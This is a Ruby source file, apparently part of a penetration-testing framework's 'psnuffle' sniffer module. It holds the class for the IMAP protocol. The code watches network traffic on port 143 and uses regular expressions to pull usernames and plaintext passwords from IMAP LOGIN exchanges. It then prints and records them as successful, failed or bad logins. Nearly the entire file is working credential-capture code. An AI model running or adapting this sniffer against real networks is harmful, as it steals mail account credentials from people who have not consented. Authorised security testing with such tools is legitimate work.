86 lines
2.3 KiB
Ruby
86 lines
2.3 KiB
Ruby
|
# Psnuffle password sniffer add-on class for imap
|
||
|
# part of psnuffle sniffer auxiliary module
|
||
|
#
|
||
|
# When db is available reports go into db
|
||
|
# Also incorrect credentials are sniffed but marked
|
||
|
# as unsuccessful logins... (Typos are common :-) )
|
||
|
#
|
||
|
|
||
|
|
||
|
class SnifferIMAP < BaseProtocolParser
|
||
|
|
||
|
def register_sigs
|
||
|
self.sigs = {
|
||
|
:banner => /^(\*\s+OK[^\n\r]*)/si,
|
||
|
:login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/si,
|
||
|
:login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/si,
|
||
|
:login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/si,
|
||
|
:login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/si
|
||
|
}
|
||
|
end
|
||
|
|
||
|
def parse(pkt)
|
||
|
|
||
|
# We want to return immediatly if we do not have a packet which is handled by us
|
||
|
return if not pkt[:tcp]
|
||
|
return if (pkt[:tcp].src_port != 143 and pkt[:tcp].dst_port != 143)
|
||
|
s = find_session((pkt[:tcp].dst_port == 143) ? get_session_src(pkt) : get_session_dst(pkt))
|
||
|
|
||
|
self.sigs.each_key do |k|
|
||
|
# There is only one pattern per run to test
|
||
|
matched = nil
|
||
|
matches = nil
|
||
|
|
||
|
if (pkt[:tcp].payload_data =~ self.sigs[k])
|
||
|
matched = k
|
||
|
matches = [$1,$2]
|
||
|
end
|
||
|
|
||
|
case matched
|
||
|
when :banner
|
||
|
s[:banner] = matches
|
||
|
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
|
||
|
report_service(s)
|
||
|
|
||
|
when :login_pass
|
||
|
|
||
|
s[:proto]="imap4"
|
||
|
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
|
||
|
report_auth_info(s)
|
||
|
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||
|
|
||
|
# Remove it form the session objects so freeup
|
||
|
sessions.delete(s[:session])
|
||
|
|
||
|
when :login_fail
|
||
|
|
||
|
s[:proto]="imap4"
|
||
|
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||
|
report_auth_info(s)
|
||
|
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||
|
|
||
|
# Remove it form the session objects so freeup
|
||
|
sessions.delete(s[:session])
|
||
|
|
||
|
when :login_bad
|
||
|
s[:proto]="imap4"
|
||
|
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||
|
report_auth_info(s)
|
||
|
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||
|
|
||
|
# Remove it form the session objects so freeup
|
||
|
sessions.delete(s[:session])
|
||
|
|
||
|
when :login
|
||
|
s[:user]=$1
|
||
|
s[:pass]=$2
|
||
|
|
||
|
when nil
|
||
|
# No matches, no saved state
|
||
|
else
|
||
|
sessions[s[:session]].merge!({k => matches})
|
||
|
end # end case matched
|
||
|
end # end of each_key
|
||
|
end # end of parse
|
||
|
end
|